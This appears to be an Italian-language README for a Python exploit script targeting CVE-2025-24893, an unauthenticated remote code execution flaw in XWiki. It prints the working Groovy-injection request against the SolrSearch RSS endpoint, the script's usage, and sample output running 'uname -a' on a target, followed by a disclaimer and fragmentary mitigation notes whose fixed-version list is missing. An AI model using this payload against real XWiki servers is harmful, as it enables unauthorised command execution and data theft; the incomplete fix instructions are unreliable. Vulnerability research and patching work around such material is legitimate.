
Script di exploit Python per CVE-2025-24893, una RCE critica non autenticata in XWiki Platform. Esegue codice Groovy arbitrario tramite una richiesta RSS appositamente predisposta all'endpoint SolrSearch. Include un manuale d'uso e riferimenti per la mitigazione.
CVE-2025-24893 è una vulnerabilità critica di remote code execution (RCE) non autenticata che colpisce la piattaforma XWiki.
Questa falla permette a qualsiasi utente guest di iniettare ed eseguire codice Groovy arbitrario—senza autenticazione—tramite una richiesta RSS appositamente predisposta all'endpoint SolrSearch.
Ciò ha un impatto diretto su riservatezza, integrità e disponibilità del sistema interessato.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H⚠️ Disclaimer:
Questo codice è strettamente destinato a soli scopi educativi e di ricerca. L'uso non autorizzato su sistemi senza esplicita autorizzazione può costituire una violazione della legge. L'autore non è responsabile per qualsiasi uso improprio o attività malevola che coinvolge questo strumento.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("Hello from search text:42"){{/groovy}}{{/async}}
Questa sezione spiega come configurare ed eseguire lo script di exploit in Python per sfruttare CVE-2025-24893.
❯ python3 CVE-2025-24893.py
usage: CVE-2025-24893.py [-h] -u URL -c COMMAND
CVE-2025-24893.py: error: the following arguments are required: -u/--url, -c/--command
❯ python3 CVE-2025-24893.py -u http://10.10.10.10:8080 -c 'uname -a'
[*] Sending payload to: http://10.10.10.10:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln("uname -a".execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[+] Command output 'uname -a':
Linux 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Per correggere la vulnerabilità, aggiorna XWiki a una delle seguenti versioni:
Se un aggiornamento non è immediatamente possibile, puoi applicare una correzione temporanea:
SolrSearchMacros.xml (situato in Main.SolrSearchMacros) intorno alla riga 955.rawResponse con il tipo di contenuto impostato su application/xml.macros.vm alla riga 2824.Riferimenti: